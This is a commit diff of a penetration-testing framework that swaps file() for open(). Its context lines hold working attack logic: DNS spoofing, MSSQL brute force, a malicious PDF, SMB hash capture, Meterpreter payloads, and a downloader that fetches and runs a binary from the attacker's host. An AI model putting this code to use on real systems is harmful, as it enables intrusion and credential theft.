pep8 and python3 refactoring stragglers

This commit is contained in:
TrustedSec 2016-01-14 17:12:00 -05:00
parent cefd5ffa2d
commit 7c227d5a4f
8 changed files with 62 additions and 63 deletions

View file

@ -13,7 +13,7 @@ from src.core.setcore import *
definepath = os.getcwd() definepath = os.getcwd()
# grab config file # grab config file
config = file("/etc/setoolkit/set.config", "r").readlines() config = open("/etc/setoolkit/set.config", "r").readlines()
# grab our default directory # grab our default directory
cwd = os.getcwd() cwd = os.getcwd()
# set a variable as default to n or no # set a variable as default to n or no
@ -37,7 +37,7 @@ for line in config:
ettercapchoice = 'n' ettercapchoice = 'n'
# GRAB CONFIG from SET # GRAB CONFIG from SET
fileopen = file("/etc/setoolkit/set.config", "r").readlines() fileopen = open("/etc/setoolkit/set.config", "r").readlines()
for line in fileopen: for line in fileopen:
# grab the ettercap interface # grab the ettercap interface
match = re.search("ETTERCAP_INTERFACE=", line) match = re.search("ETTERCAP_INTERFACE=", line)
@ -92,7 +92,7 @@ if ettercapchoice == 'y':
subprocess.Popen( subprocess.Popen(
"rm etter.dns 1> /dev/null 2> /dev/null", shell=True).wait() "rm etter.dns 1> /dev/null 2> /dev/null", shell=True).wait()
# prep etter.dns for writing # prep etter.dns for writing
filewrite = file("etter.dns", "w") filewrite = open("etter.dns", "w")
# send our information to etter.dns # send our information to etter.dns
filewrite.write("%s A %s" % (dns_spoof, ipaddr)) filewrite.write("%s A %s" % (dns_spoof, ipaddr))
# close the file # close the file
@ -105,7 +105,7 @@ if ettercapchoice == 'y':
# spawn a child process # spawn a child process
os.chdir(cwd) os.chdir(cwd)
time.sleep(5) time.sleep(5)
filewrite = file(setdir + "/ettercap", "w") filewrite = open(setdir + "/ettercap", "w")
filewrite.write( filewrite.write(
"ettercap -T -q -i %s -P dns_spoof %s %s // //" % (interface, arp, bridge)) "ettercap -T -q -i %s -P dns_spoof %s %s // //" % (interface, arp, bridge))
filewrite.close() filewrite.close()
@ -148,7 +148,7 @@ if dsniffchoice == 'y':
dns_spoof = "*" dns_spoof = "*"
subprocess.Popen( subprocess.Popen(
"rm %s/dnsspoof.conf 1> /dev/null 2> /dev/null" % (setdir), shell=True).wait() "rm %s/dnsspoof.conf 1> /dev/null 2> /dev/null" % (setdir), shell=True).wait()
filewrite = file(setdir + "/dnsspoof.conf", "w") filewrite = open(setdir + "/dnsspoof.conf", "w")
filewrite.write("%s %s" % (ipaddr, dns_spoof)) filewrite.write("%s %s" % (ipaddr, dns_spoof))
filewrite.close() filewrite.close()
print_error("LAUNCHING DNSSPOOF DNS_SPOOF ATTACK!") print_error("LAUNCHING DNSSPOOF DNS_SPOOF ATTACK!")
@ -160,7 +160,7 @@ if dsniffchoice == 'y':
gateway = subprocess.Popen("netstat -rn|grep %s|awk '{print $2}'| awk 'NR==2'" % ( gateway = subprocess.Popen("netstat -rn|grep %s|awk '{print $2}'| awk 'NR==2'" % (
interface), shell=True, stdout=subprocess.PIPE).communicate()[0] interface), shell=True, stdout=subprocess.PIPE).communicate()[0]
# open file for writing # open file for writing
filewrite = file(setdir + "/ettercap", "w") filewrite = open(setdir + "/ettercap", "w")
# write the arpspoof / dnsspoof commands to file # write the arpspoof / dnsspoof commands to file
filewrite.write( filewrite.write(
"arpspoof %s | dnsspoof -f %s/dnsspoof.conf" % (gateway, setdir)) "arpspoof %s | dnsspoof -f %s/dnsspoof.conf" % (gateway, setdir))

View file

@ -118,7 +118,7 @@ try:
"Atta boy. Found the file this time. Moving on.") "Atta boy. Found the file this time. Moving on.")
break break
fileopen = file(range, "r").readlines() fileopen = open(range, "r").readlines()
sql_servers = "" sql_servers = ""
for line in fileopen: for line in fileopen:
line = line.rstrip() line = line.rstrip()
@ -130,7 +130,7 @@ try:
counter = 0 counter = 0
# if we specified a username list # if we specified a username list
if os.path.isfile(username): if os.path.isfile(username):
usernames = file(username, "r") usernames = open(username, "r")
if sql_servers != False: if sql_servers != False:
# get rid of extra data from port scanner # get rid of extra data from port scanner
@ -221,7 +221,7 @@ try:
break break
# specify we are using the fasttrack # specify we are using the fasttrack
# option, this disables some features # option, this disables some features
filewrite = file( filewrite = open(
setdir + "/fasttrack.options", "w") setdir + "/fasttrack.options", "w")
filewrite.write("none") filewrite.write("none")
filewrite.close() filewrite.close()
@ -397,7 +397,7 @@ try:
# if we are using the built in one # if we are using the built in one
if dict == "": if dict == "":
# write out a file # write out a file
filewrite = file(setdir + "/dictionary.txt", "w") filewrite = open(setdir + "/dictionary.txt", "w")
filewrite.write("\nPassword1\nPassword!\nlc username") filewrite.write("\nPassword1\nPassword!\nlc username")
# specify the path # specify the path
dict = setdir + "/dictionary.txt" dict = setdir + "/dictionary.txt"

View file

@ -22,7 +22,7 @@ print_info_spaces(
for name in glob.glob("modules/*.py"): for name in glob.glob("modules/*.py"):
counter = counter + 1 counter = counter + 1
fileopen = file(name, "r") fileopen = open(name, "r")
for line in fileopen: for line in fileopen:
line = line.rstrip() line = line.rstrip()

View file

@ -27,7 +27,7 @@ print(meta_path)
apache = 0 apache = 0
# open set_config # open set_config
apache_check = file("/etc/setoolkit/set.config", "r").readlines() apache_check = open("/etc/setoolkit/set.config", "r").readlines()
# loop this guy to search for the APACHE_SERVER config variable # loop this guy to search for the APACHE_SERVER config variable
for line in apache_check: for line in apache_check:
@ -184,7 +184,7 @@ if exploit_counter == 0:
if os.path.isfile(msfpath + "local/template.pdf"): if os.path.isfile(msfpath + "local/template.pdf"):
os.remove(msfpath + "local/template.pdf") os.remove(msfpath + "local/template.pdf")
filewrite = file(setdir + "/template.rc", "w") filewrite = open(setdir + "/template.rc", "w")
filewrite.write("use exploit/windows/fileformat/adobe_pdf_embedded_exe\nset LHOST %s\nset LPORT %s\nset INFILENAME %s\nset FILENAME %s\nexploit\n" % filewrite.write("use exploit/windows/fileformat/adobe_pdf_embedded_exe\nset LHOST %s\nset LPORT %s\nset INFILENAME %s\nset FILENAME %s\nexploit\n" %
(rhost, lport, inputpdf, output)) (rhost, lport, inputpdf, output))
filewrite.close() filewrite.close()
@ -228,7 +228,7 @@ if exploit_counter == 0:
(setdir, setdir), shell=True) (setdir, setdir), shell=True)
# NEED THIS TO PARSE DELIVERY OPTIONS TO SMTP MAILER # NEED THIS TO PARSE DELIVERY OPTIONS TO SMTP MAILER
filewrite = file(setdir + "/payload.options", "w") filewrite = open(setdir + "/payload.options", "w")
filewrite.write(payload + " " + rhost + " " + lport) filewrite.write(payload + " " + rhost + " " + lport)
filewrite.close() filewrite.close()
if exploit != "dll_hijacking": if exploit != "dll_hijacking":
@ -251,11 +251,11 @@ if exploit == "unc_embed":
letters = string.ascii_letters + string.digits letters = string.ascii_letters + string.digits
return ''.join([random.choice(letters) for _ in range(length)]) return ''.join([random.choice(letters) for _ in range(length)])
rand_gen = random_string() rand_gen = random_string()
filewrite = file(setdir + "/unc_config", "w") filewrite = open(setdir + "/unc_config", "w")
filewrite.write("use server/capture/smb\n") filewrite.write("use server/capture/smb\n")
filewrite.write("exploit -j\r\n\r\n") filewrite.write("exploit -j\r\n\r\n")
filewrite.close() filewrite.close()
filewrite = file(setdir + "/template.doc", "w") filewrite = open(setdir + "/template.doc", "w")
filewrite.write( filewrite.write(
r'''<html><head></head><body><img src="file://\\%s\%s.jpeg">''' % (rhost, rand_gen)) r'''<html><head></head><body><img src="file://\\%s\%s.jpeg">''' % (rhost, rand_gen))
filewrite.close() filewrite.close()
@ -285,18 +285,17 @@ if exploit == "dll_hijacking":
# if we are not using apache # if we are not using apache
if apache == 0: if apache == 0:
if not os.path.isfile("%s/fileformat.file" % (setdir)): if not os.path.isfile("%s/fileformat.file" % (setdir)):
# try: filewrite = open(setdir + "/attack_vector", "w")
filewrite = file(setdir + "/attack_vector", "w")
filewrite.write("hijacking") filewrite.write("hijacking")
filewrite.close() filewrite.close()
filewrite = file(setdir + "/site.template", "w") filewrite = open(setdir + "/site.template", "w")
filewrite.write("TEMPLATE=CUSTOM") filewrite.write("TEMPLATE=CUSTOM")
filewrite.close() filewrite.close()
time.sleep(1) time.sleep(1)
subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x" % ( subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x" % (
setdir, setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() setdir, setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
child = pexpect.spawn("python src/html/web_server.py") child = pexpect.spawn("python src/html/web_server.py")
# except: child.close()
# if we are using apache # if we are using apache
if apache == 1: if apache == 1:
subprocess.Popen("cp src/html/msf.exe %s/x.exe" % subprocess.Popen("cp src/html/msf.exe %s/x.exe" %

View file

@ -34,7 +34,7 @@ if stage_encoding == "off":
else: else:
stage_encoding = "true" stage_encoding = "true"
configfile = file("/etc/setoolkit/set.config", "r").readlines() configfile = open("/etc/setoolkit/set.config", "r").readlines()
# check the metasploit path # check the metasploit path
msf_path = meta_path() msf_path = meta_path()
@ -56,14 +56,14 @@ linosx = 0
multiattack = "" multiattack = ""
# grab attack vector # grab attack vector
if os.path.isfile(setdir + "/attack_vector"): if os.path.isfile(setdir + "/attack_vector"):
fileopen = file(setdir + "/attack_vector", "r") fileopen = open(setdir + "/attack_vector", "r")
for line in fileopen: for line in fileopen:
line = line.rstrip() line = line.rstrip()
if line == "java": if line == "java":
attack_vector = "java" attack_vector = "java"
if line == "multiattack": if line == "multiattack":
attack_vector = "multiattack" attack_vector = "multiattack"
multiattack = file(setdir + "/multi_payload", "w") multiattack = open(setdir + "/multi_payload", "w")
# here is a place holder for the multi attack java # here is a place holder for the multi attack java
# multiattack outputs a file called multi_java if # multiattack outputs a file called multi_java if
@ -83,7 +83,7 @@ if os.path.isfile(setdir + "/payloadgen"):
########################################################################## ##########################################################################
if check_options("IPADDR=") == False: if check_options("IPADDR=") == False:
fileopen = file("/etc/setoolkit/set.config", "r") fileopen = open("/etc/setoolkit/set.config", "r")
data = fileopen.read() data = fileopen.read()
match = re.search("AUTO_DETECT=ON", data) match = re.search("AUTO_DETECT=ON", data)
if match: if match:
@ -121,7 +121,7 @@ try:
# this is port # this is port
choice3 = "" choice3 = ""
if os.path.isfile(setdir + "/meterpreter_reverse_tcp_exe"): if os.path.isfile(setdir + "/meterpreter_reverse_tcp_exe"):
fileopen = file(setdir + "/meterpreter_reverse_tcp_exe", "r") fileopen = open(setdir + "/meterpreter_reverse_tcp_exe", "r")
for line in fileopen: for line in fileopen:
# this reads in the first line of the file which happens to be port # this reads in the first line of the file which happens to be port
# when calling through core # when calling through core
@ -185,7 +185,7 @@ try:
encoder = 'false' encoder = 'false'
payloadgen = 'solo' payloadgen = 'solo'
encode_stop = 1 encode_stop = 1
filewrite = file(setdir + "/set.payload", "w") filewrite = open(setdir + "/set.payload", "w")
# select setshell # select setshell
if choice1 == '3': if choice1 == '3':
filewrite.write("SETSHELL") filewrite.write("SETSHELL")
@ -223,7 +223,7 @@ try:
# if we are using our own executable # if we are using our own executable
if custom == 1: if custom == 1:
check_write = file(setdir + "/custom.exe", "w") check_write = open(setdir + "/custom.exe", "w")
check_write.write("VALID") check_write.write("VALID")
check_write.close() check_write.close()
shutil.copyfile("%s" % (choice1), "msf.exe") shutil.copyfile("%s" % (choice1), "msf.exe")
@ -237,11 +237,11 @@ try:
# we need to rewrite index.html real quick because it has a parameter # we need to rewrite index.html real quick because it has a parameter
# that could get confusing # that could get confusing
if os.path.isfile(setdir + "/web_clone/index.html"): if os.path.isfile(setdir + "/web_clone/index.html"):
fileopen = file(setdir + "/web_clone/index.html", "r") fileopen = open(setdir + "/web_clone/index.html", "r")
data = fileopen.read() data = fileopen.read()
data = data.replace("freehugs", "") data = data.replace("freehugs", "")
os.remove(setdir + "/web_clone/index.html") os.remove(setdir + "/web_clone/index.html")
filewrite = file(setdir + "/web_clone/index.html", "w") filewrite = open(setdir + "/web_clone/index.html", "w")
filewrite.write(data) filewrite.write(data)
filewrite.close() filewrite.close()
@ -280,7 +280,7 @@ try:
# if we are using the SET interactive shell then do this # if we are using the SET interactive shell then do this
if choice1 == "set/reverse_shell": if choice1 == "set/reverse_shell":
encoder = "false" encoder = "false"
filewrite = file(setdir + "/set.payload.posix", "w") filewrite = open(setdir + "/set.payload.posix", "w")
filewrite.write("true") filewrite.write("true")
filewrite.close() filewrite.close()
import src.core.payloadprep import src.core.payloadprep
@ -353,7 +353,7 @@ try:
os.remove(setdir + "/payload_options.shellcode") os.remove(setdir + "/payload_options.shellcode")
# this is the file that gets saved with the payload and # this is the file that gets saved with the payload and
# port options # port options
payload_options = file( payload_options = open(
setdir + "/payload_options.shellcode", "a") setdir + "/payload_options.shellcode", "a")
while 1: while 1:
@ -391,7 +391,7 @@ try:
# here we prep our meta config to listen on all # here we prep our meta config to listen on all
# the ports we want - free hugs all around # the ports we want - free hugs all around
filewrite = file( filewrite = open(
"%s/meta_config_multipyinjector" % (setdir), "a") "%s/meta_config_multipyinjector" % (setdir), "a")
port_check = check_ports( port_check = check_ports(
"%s/meta_config_multipyinjector" % (setdir), shellcode_port) "%s/meta_config_multipyinjector" % (setdir), shellcode_port)
@ -469,7 +469,7 @@ try:
secret, multipyinject_payload) secret, multipyinject_payload)
print_status( print_status(
"Dynamic cipher key created and embedded into payload.") "Dynamic cipher key created and embedded into payload.")
filewrite = file( filewrite = open(
"%s/meterpreter.alpha_decoded" % (setdir), "w") "%s/meterpreter.alpha_decoded" % (setdir), "w")
filewrite.write(shellcode) filewrite.write(shellcode)
filewrite.close() filewrite.close()
@ -478,7 +478,7 @@ try:
# close the pyinjector file for ports and payload # close the pyinjector file for ports and payload
payload_options.close() payload_options.close()
# here we are going to encode the payload via base64 # here we are going to encode the payload via base64
fileopen = file( fileopen = open(
"%s/meterpreter.alpha_decoded" % (setdir), "r") "%s/meterpreter.alpha_decoded" % (setdir), "r")
data = fileopen.read() data = fileopen.read()
if payloadgen != "solo": if payloadgen != "solo":
@ -505,7 +505,7 @@ try:
# last one # last one
data = base64.b64encode(data) data = base64.b64encode(data)
# #
filewrite = file("%s/meterpreter.alpha" % (setdir), "w") filewrite = open("%s/meterpreter.alpha" % (setdir), "w")
filewrite.write(data) filewrite.write(data)
filewrite.close() filewrite.close()
if choice1 == "shellcode/alphanum": if choice1 == "shellcode/alphanum":
@ -519,18 +519,18 @@ try:
# here we obfuscate the binary a little bit # here we obfuscate the binary a little bit
random_string = generate_random_string(3, 3).upper() random_string = generate_random_string(3, 3).upper()
if choice1 == "shellcode/alphanum": if choice1 == "shellcode/alphanum":
fileopen = file( fileopen = open(
"%s/src/payloads/exe/shellcodeexec.binary" % (definepath), "rb").read() "%s/src/payloads/exe/shellcodeexec.binary" % (definepath), "rb").read()
if choice1 == "shellcode/pyinject": if choice1 == "shellcode/pyinject":
fileopen = file( fileopen = open(
"%s/src/payloads/set_payloads/pyinjector.binary" % (definepath), "rb").read() "%s/src/payloads/set_payloads/pyinjector.binary" % (definepath), "rb").read()
if choice1 == "shellcode/multipyinject": if choice1 == "shellcode/multipyinject":
fileopen = file( fileopen = open(
"%s/src/payloads/set_payloads/multi_pyinjector.binary" % (definepath), "rb").read() "%s/src/payloads/set_payloads/multi_pyinjector.binary" % (definepath), "rb").read()
# write out the payload # write out the payload
if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyiject": if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyiject":
filewrite = file(setdir + "/msf.exe", "wb") filewrite = open(setdir + "/msf.exe", "wb")
filewrite.write(fileopen) filewrite.write(fileopen)
filewrite.close() filewrite.close()
@ -539,11 +539,11 @@ try:
# we need to read in the old index.html file because its # we need to read in the old index.html file because its
# already generated, need to present the alphanum to it # already generated, need to present the alphanum to it
if os.path.isfile("%s/web_clone/index.html" % (setdir)): if os.path.isfile("%s/web_clone/index.html" % (setdir)):
fileopen = file("%s/web_clone/index.html" % fileopen = open("%s/web_clone/index.html" %
(setdir), "r") (setdir), "r")
filewrite = file( filewrite = open(
"%s/web_clone/index.html.new" % (setdir), "w") "%s/web_clone/index.html.new" % (setdir), "w")
fileopen2 = file("%s/meterpreter.alpha" % fileopen2 = open("%s/meterpreter.alpha" %
(setdir), "r") (setdir), "r")
alpha_shellcode = fileopen2.read().rstrip() alpha_shellcode = fileopen2.read().rstrip()
data = fileopen.read() data = fileopen.read()
@ -580,7 +580,7 @@ try:
choice1 = choice9 choice1 = choice9
# write out the payload for powershell injection to pick it up if used # write out the payload for powershell injection to pick it up if used
filewrite = file(setdir + "/metasploit.payload", "w") filewrite = open(setdir + "/metasploit.payload", "w")
filewrite.write(choice1) filewrite.write(choice1)
filewrite.close() filewrite.close()
# import if on # import if on
@ -599,13 +599,13 @@ try:
except: except:
import src.payloads.powershell.prep import src.payloads.powershell.prep
if os.path.isfile("%s/x86.powershell" % (setdir)): if os.path.isfile("%s/x86.powershell" % (setdir)):
fileopen1 = file( fileopen1 = open(
"%s/x86.powershell" % (setdir), "r") "%s/x86.powershell" % (setdir), "r")
x86 = fileopen1.read() x86 = fileopen1.read()
# open up the x86 powershell attack # open up the x86 powershell attack
fileopen3 = fileopen = file( fileopen3 = fileopen = open(
"%s/web_clone/index.html" % (setdir), "r") "%s/web_clone/index.html" % (setdir), "r")
filewrite = file( filewrite = open(
"%s/web_clone/index.html.new" % (setdir), "w") "%s/web_clone/index.html.new" % (setdir), "w")
data = fileopen3.read() data = fileopen3.read()
data = data.replace( data = data.replace(
@ -628,9 +628,9 @@ try:
# here we specify the binary to deploy if we are using ones that are # here we specify the binary to deploy if we are using ones that are
# required to drop binaries # required to drop binaries
if custom == 1 or choice1 == "set/reverse_shell" or choice1 == "shellcode/alphanum": if custom == 1 or choice1 == "set/reverse_shell" or choice1 == "shellcode/alphanum":
fileopen3 = fileopen = file( fileopen3 = fileopen = open(
"%s/web_clone/index.html" % (setdir), "r") "%s/web_clone/index.html" % (setdir), "r")
filewrite = file("%s/web_clone/index.html.new" % (setdir), "w") filewrite = open("%s/web_clone/index.html.new" % (setdir), "w")
data = fileopen3.read() data = fileopen3.read()
# check if we don't want to deploy binaries # check if we don't want to deploy binaries
data = data.replace('param name="8" value="NO"', data = data.replace('param name="8" value="NO"',
@ -727,11 +727,11 @@ try:
# if they want a listener, start here # if they want a listener, start here
if os.path.isfile("%s/meta_config" % (setdir)): if os.path.isfile("%s/meta_config" % (setdir)):
# if its already created # if its already created
filewrite = file("%s/meta_config" % (setdir), "a") filewrite = open("%s/meta_config" % (setdir), "a")
if not os.path.isfile("%s/meta_config" % (setdir)): if not os.path.isfile("%s/meta_config" % (setdir)):
# if we need to create it # if we need to create it
filewrite = file("%s/meta_config" % (setdir), "w") filewrite = open("%s/meta_config" % (setdir), "w")
# if there isn't a multiattack metasploit, setup handler # if there isn't a multiattack metasploit, setup handler
if not os.path.isfile("%s/multi_meta" % (setdir)): if not os.path.isfile("%s/multi_meta" % (setdir)):
@ -754,7 +754,7 @@ try:
# config option for using multiscript meterpreter # config option for using multiscript meterpreter
if meterpreter_multi == "ON": if meterpreter_multi == "ON":
multiwrite = file(setdir + "/multi_meter.file", "w") multiwrite = open(setdir + "/multi_meter.file", "w")
multiwrite.write(meterpreter_multi_command) multiwrite.write(meterpreter_multi_command)
filewrite.write( filewrite.write(
"set InitialAutorunScript multiscript -rc %s/multi_meter.file\n" % (setdir)) "set InitialAutorunScript multiscript -rc %s/multi_meter.file\n" % (setdir))
@ -786,7 +786,7 @@ try:
filewrite.write("set LHOST " + choice2 + "\n") filewrite.write("set LHOST " + choice2 + "\n")
filewrite.write("set LPORT " + port2 + "\n") filewrite.write("set LPORT " + port2 + "\n")
if linux_meterpreter_multi == "ON": if linux_meterpreter_multi == "ON":
multiwrite = file( multiwrite = open(
setdir + "/lin_multi_meter.file", "w") setdir + "/lin_multi_meter.file", "w")
multiwrite.write(linux_meterpreter_multi_command) multiwrite.write(linux_meterpreter_multi_command)
filewrite.write( filewrite.write(
@ -810,7 +810,7 @@ except KeyboardInterrupt:
if attack_vector == "multiattack": if attack_vector == "multiattack":
multiattack.close() multiattack.close()
if os.path.isfile("%s/fileformat.file" % (setdir)): if os.path.isfile("%s/fileformat.file" % (setdir)):
filewrite = file("%s/payload.options" % (setdir), "w") filewrite = open("%s/payload.options" % (setdir), "w")
filewrite.write(choice1 + " " + ipaddr + " " + choice3) filewrite.write(choice1 + " " + ipaddr + " " + choice3)
filewrite.close() filewrite.close()

View file

@ -18,7 +18,7 @@ def payload_generate(payload, lhost, port):
subprocess.Popen(meta_path + "msfvenom -p %s LHOST=%s LPORT=%s --format=exe > %s/payload.exe" % subprocess.Popen(meta_path + "msfvenom -p %s LHOST=%s LPORT=%s --format=exe > %s/payload.exe" %
(payload, lhost, port, setdir), stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True).wait() (payload, lhost, port, setdir), stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True).wait()
# write out the rc file # write out the rc file
filewrite = file(setdir + "/meta_config", "w") filewrite = open(setdir + "/meta_config", "w")
filewrite.write( filewrite.write(
"use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nexploit -j\r\n\r\n" % (payload, lhost, port)) "use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nexploit -j\r\n\r\n" % (payload, lhost, port))
filewrite.close() filewrite.close()

View file

@ -17,7 +17,7 @@ sys.path.append(definepath)
operating_system = check_os() operating_system = check_os()
# check the config file # check the config file
fileopen = file("/etc/setoolkit/set.config", "r") fileopen = open("/etc/setoolkit/set.config", "r")
for line in fileopen: for line in fileopen:
line = line.rstrip() line = line.rstrip()
# define if we use upx encoding or not # define if we use upx encoding or not
@ -48,7 +48,7 @@ if not os.path.isdir(setdir + "/web_clone/"):
# grab ip address and SET web server interface # grab ip address and SET web server interface
if os.path.isfile(setdir + "/interface"): if os.path.isfile(setdir + "/interface"):
fileopen = file(setdir + "interface", "r") fileopen = open(setdir + "interface", "r")
for line in fileopen: for line in fileopen:
ipaddr = line.rstrip() ipaddr = line.rstrip()
@ -95,7 +95,7 @@ webserver = exe_name + " " + webserver
# this is generated through payloadgen.py and lets SET know if its a RATTE # this is generated through payloadgen.py and lets SET know if its a RATTE
# payload or SET payload # payload or SET payload
if os.path.isfile(setdir + "/set.payload"): if os.path.isfile(setdir + "/set.payload"):
fileopen = file(setdir + "/set.payload", "r") fileopen = open(setdir + "/set.payload", "r")
for line in fileopen: for line in fileopen:
payload_selection = line.rstrip() payload_selection = line.rstrip()
else: else:
@ -133,7 +133,7 @@ if payload_selection == "SETSHELL":
# if we selected RATTE in our payload selection # if we selected RATTE in our payload selection
if payload_selection == "RATTE": if payload_selection == "RATTE":
fileopen = file("src/payloads/ratte/ratte.binary", "rb") fileopen = open("src/payloads/ratte/ratte.binary", "rb")
data = fileopen.read() data = fileopen.read()
filewrite = open(setdir + "/msf.exe", "wb") filewrite = open(setdir + "/msf.exe", "wb")
host = int(len(ipaddr) + 1) * "X" host = int(len(ipaddr) + 1) * "X"
@ -167,7 +167,7 @@ if payload_selection == "SETSHELL":
if posix == True: if posix == True:
print_info( print_info(
"Targetting of OSX/Linux (POSIX-based) as well. Prepping posix payload...") "Targetting of OSX/Linux (POSIX-based) as well. Prepping posix payload...")
filewrite = file(setdir + "/web_clone/mac.bin", "w") filewrite = open(setdir + "/web_clone/mac.bin", "w")
payload_flags = webserver.split(" ") payload_flags = webserver.split(" ")
# grab osx binary name # grab osx binary name
osx_name = generate_random_string(10, 10) osx_name = generate_random_string(10, 10)
@ -255,7 +255,7 @@ if posix == True:
linux_name = generate_random_string(10, 10) linux_name = generate_random_string(10, 10)
downloader = "#!/usr/bin/sh\ncurl -C - -O http://%s/%s\nchmod +x %s\n./%s %s %s &" % ( downloader = "#!/usr/bin/sh\ncurl -C - -O http://%s/%s\nchmod +x %s\n./%s %s %s &" % (
payload_flags[1], linux_name, linux_name, linux_name, payload_flags[1], payload_flags[2]) payload_flags[1], linux_name, linux_name, linux_name, payload_flags[1], payload_flags[2])
filewrite = file(setdir + "/web_clone/nix.bin", "w") filewrite = open(setdir + "/web_clone/nix.bin", "w")
filewrite.write(downloader) filewrite.write(downloader)
filewrite.close() filewrite.close()
shutil.copyfile(definepath + "/src/payloads/set_payloads/shell.osx", shutil.copyfile(definepath + "/src/payloads/set_payloads/shell.osx",
@ -280,8 +280,8 @@ if stager == "off" or payload_selection == "SETSHELL_HTTP":
if os.path.isfile(setdir + "/web_clone/index.html"): if os.path.isfile(setdir + "/web_clone/index.html"):
print_status( print_status(
"Stager turned off, prepping direct download payload...") "Stager turned off, prepping direct download payload...")
fileopen = file(setdir + "/web_clone/index.html", "r") fileopen = open(setdir + "/web_clone/index.html", "r")
filewrite = file(setdir + "/web_clone/index.html.3", "w") filewrite = open(setdir + "/web_clone/index.html.3", "w")
data = fileopen.read() data = fileopen.read()
# replace freehugs with ip and port # replace freehugs with ip and port
data = data.replace("freehugs", reverse_connection) data = data.replace("freehugs", reverse_connection)

View file

@ -15,7 +15,7 @@ subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private", shell=True).wait()
os.chdir("CA/") os.chdir("CA/")
# create necessary files # create necessary files
subprocess.Popen("echo '01' > serial;touch index.txt", shell=True).wait() subprocess.Popen("echo '01' > serial;touch index.txt", shell=True).wait()
filewrite = file("openssl.cnf", "w") filewrite = open("openssl.cnf", "w")
filewrite.write("""# filewrite.write("""#
# OpenSSL configuration file. # OpenSSL configuration file.
# #